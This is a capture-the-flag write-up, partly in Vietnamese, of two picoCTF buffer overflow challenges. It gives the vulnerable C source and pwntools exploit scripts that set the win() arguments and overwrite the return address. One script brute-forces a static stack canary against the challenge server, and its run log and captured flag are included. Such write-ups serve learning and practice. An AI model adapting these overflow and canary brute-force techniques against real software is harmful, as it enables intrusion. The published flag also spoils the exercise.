pwn - buffer overflow 23

Control the return address and arguments | Do you think you can bypass the protection and get the flag?

November 4, 2025 October 12, 2025 Hard
Author Author Hung Nguyen Tuong

buffer overflow 2

Source Code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 100
#define FLAGSIZE 64

void win(unsigned int arg1, unsigned int arg2) {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  if (arg1 != 0xCAFEF00D)
    return;
  if (arg2 != 0xF00DF00D)
    return;
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

Mitigation

Solve

Với kiến trúc x86, calling convention phổ biến nhất là cdecl, các tham số được đẩy vào stack theo thứ tự từ phải sang trái (<—). Và chúng nằm dưới return address của callee.

pwndbg> x/3i win+118
0x804930c <win+118>: cmp    DWORD PTR [ebp+0x8],0xcafef00d
0x8049313 <win+125>: jne    0x804932f <win+153>
0x8049315 <win+127>: cmp    DWORD PTR [ebp+0xc],0xf00df00d

Chúng ta sẽ thêm 2 giá trị cần thiết vào ebp+8ebp+12.

Script

from pwn import *

p = process('./vuln')
elf = ELF('./vuln')

payload = b'a' * 112
payload += p32(elf.symbols['win']) # vuln()'s return address, later become win()'s ebp
payload += b'a' * 4 # win()'s return address
payload += p32(0xCAFEF00D)
payload += p32(0xF00DF00D)

p.sendlineafter(b"Please enter your string: ", payload)

p.recvuntil(b'\xf0\n')

print(p.recvuntil(b'}').decode())

buffer overflow 3

Source Code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>

#define BUFSIZE 64
#define FLAGSIZE 64
#define CANARY_SIZE 4

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    fflush(stdout);
    exit(0);
  }

  fgets(buf,FLAGSIZE,f); // size bound read
  puts(buf);
  fflush(stdout);
}

char global_canary[CANARY_SIZE];
void read_canary() {
  FILE *f = fopen("canary.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'canary.txt' in this directory with your",
                    "own debugging canary.\n");
    fflush(stdout);
    exit(0);
  }

  fread(global_canary,sizeof(char),CANARY_SIZE,f);
  fclose(f);
}

void vuln(){
   char canary[CANARY_SIZE];
   char buf[BUFSIZE];
   char length[BUFSIZE];
   int count;
   int x = 0;
   memcpy(canary,global_canary,CANARY_SIZE);
   printf("How Many Bytes will You Write Into the Buffer?\n> ");
   while (x<BUFSIZE) {
      read(0,length+x,1);
      if (length[x]=='\n') break;
      x++;
   }
   sscanf(length,"%d",&count);

   printf("Input> ");
   read(0,buf,count);

   if (memcmp(canary,global_canary,CANARY_SIZE)) {
      printf("***** Stack Smashing Detected ***** : Canary Value Corrupt!\n"); // crash immediately
      fflush(stdout);
      exit(0);
   }
   printf("Ok... Now Where's the Flag?\n");
   fflush(stdout);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  read_canary();
  vuln();
  return 0;
}

Mitigation

Solve

Theo như hint của challenge chúng ta cần thực hiện một kiểu brute-force nào đó. Để ý rằng, canary được đọc từ một file, nên có thể nó sẽ là tĩnh, không thay đổi mỗi lần chạy. Vậy chúng ta sẽ brute-force canary và sau đó ghi đè return address của vuln() thành win().

Chúng ta giả sử canary chỉ chứa chữ thường, chữ hoa, chữ số và gạch dưới.

Script

from pwn import *
import string

elf = ELF('./vuln')

def send(n, payload):
    p = remote('saturn.picoctf.net', 60226)
    p.sendlineafter(b'How Many Bytes will You Write Into the Buffer?\n> ', str(n).encode())
    p.sendlineafter(b'Input> ', payload)
    return p.recvall()

canary = b""

charset = (string.ascii_lowercase + string.ascii_uppercase + string.digits + '_').encode()

print("brute-force canary")

for i in range(1, 5): 
    for b in charset:
        print("try:", p8(b))
        if b'Ok' in send(64 + i, b'a' * 64 + canary + p8(b)):
            canary += p8(b)
            print(p8(b), "ok", "current canary:", canary)
            break

print("complete canary:", canary)

print("overwrite return address of vuln() to win()")
payload = b'a' * 64 + canary + b'a' * 16 + p32(elf.symbols['win'])

print(send(len(payload), payload))
try: b'R'
[+] Opening connection to saturn.picoctf.net on port 60226: Done
[+] Receiving all data: Done (28B)
[*] Closed connection to saturn.picoctf.net port 60226
b'R' ok current canary: b'BiR'
try: b'a'
[+] Opening connection to saturn.picoctf.net on port 60226: Done
[+] Receiving all data: Done (60B)
[*] Closed connection to saturn.picoctf.net port 60226
try: b'b'
[+] Opening connection to saturn.picoctf.net on port 60226: Done
[+] Receiving all data: Done (60B)
[*] Closed connection to saturn.picoctf.net port 60226
try: b'c'
[+] Opening connection to saturn.picoctf.net on port 60226: Done
[+] Receiving all data: Done (60B)
[*] Closed connection to saturn.picoctf.net port 60226
try: b'd'
[+] Opening connection to saturn.picoctf.net on port 60226: Done
[+] Receiving all data: Done (28B)
[*] Closed connection to saturn.picoctf.net port 60226
b'd' ok current canary: b'BiRd'
complete canary: b'BiRd'
overwrite return address of vuln() to win()
[+] Opening connection to saturn.picoctf.net on port 60226: Done
[+] Receiving all data: Done (70B)
[*] Closed connection to saturn.picoctf.net port 60226
b"Ok... Now Where's the Flag?\npicoCTF{Stat1C_c4n4r13s_4R3_b4D_14b7d39c}\n"